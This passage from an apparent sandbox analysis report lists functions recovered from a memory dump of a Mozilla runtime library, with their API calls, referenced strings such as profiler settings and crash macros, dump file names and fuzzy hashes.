LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751

Strings

MOZ_CRASH(), xrefs: 6C4FD4BB

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction ID: d093dcb9573414b1e777c39de0da9b13bd9ca3edba9cf641f3593a215a4c4b6c
Opcode Fuzzy Hash: ba04d0f68b7b5edde1bf331acd13d22e286a51f8f9997a88026e598f01f4b672
Instruction Fuzzy Hash: A851E171A047418FD714CF28C894B1AB7F1EBCA714F954A2ED5A9C7B85D770E801CB92

Function 6C524630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Strings

-%llu, xrefs: 6C524733
., xrefs: 6C52476A
profiler-paused, xrefs: 6C5246E4

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction ID: ab678543343964b56a214d881cabbb48e5308d065231af3f96fcca8f37b174a6
Opcode Fuzzy Hash: c7b4a502a672074255162952debe9fd5223277e7d2da55a9ffda784ff2afb300
Instruction Fuzzy Hash: 40417772F047089BCB08DF78DC5155EBBE5EF86344F14863EE855A7781EB34A8448751

Function 6C549830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C54985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5498DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5498D9

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction ID: 289f775728b03a76f9e25bca30f8e30bccc5528ee71b1692fed6369c47e513da
Opcode Fuzzy Hash: c4e433f173e7aac8b9e78657751f4a61b9111b867603c60778a78813f8bddc10
Instruction Fuzzy Hash: BC310571B00108AFDB14AF59DC459EF77A9DF85314F90802DEA1ADBB40DB716D058BE1

Function 6C5246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C524721

Part of subcall function 6C4D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C513EBD,00000017,?,00000000,?,6C513EBD,?,?,6C4D42D2), ref: 6C4D4444

Strings

-%llu, xrefs: 6C524733
., xrefs: 6C52476A
profiler-paused, xrefs: 6C5246E4

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction ID: 9fcf3c8f5b98cab8f5d1bdde0b5d80a7093d0adf29152592352d866469db8954
Opcode Fuzzy Hash: 0b2d4ac4be0942e7eda3e4548c94c813d8f29703238a261a7b87510be003c760
Instruction Fuzzy Hash: 60313972F042089BCB0CCF6CDC9169EBBE6DB89314F59853EE8159B781E77498058B90

Function 6C52B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C52B127), ref: 6C52B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C52B4E4

Strings

pid:, xrefs: 6C52B4DE

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction ID: 6a1aa3fd775c6a427535be8f81f8690d2302ec8e875ce9a581f0d7511cd151af
Opcode Fuzzy Hash: 7858e46b7964a92d3a1ce27f39e03bd5a57b919236a769d1c8b6c38fbfae43d8
Instruction Fuzzy Hash: 5C31E731A01204DBDB10EFA9DC80ADEB7F6FF45318F540529D81267A81E735A945CBE1

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C51E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51E577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E584
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C51E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C51E722, 6C51E750, 6C51E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C51E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C51E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C51E826, 6C51E850
MOZ_PROFILER_STARTUP, xrefs: 6C51E5A1, 6C51E5CC, 6C51E5FF, 6C51E62A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
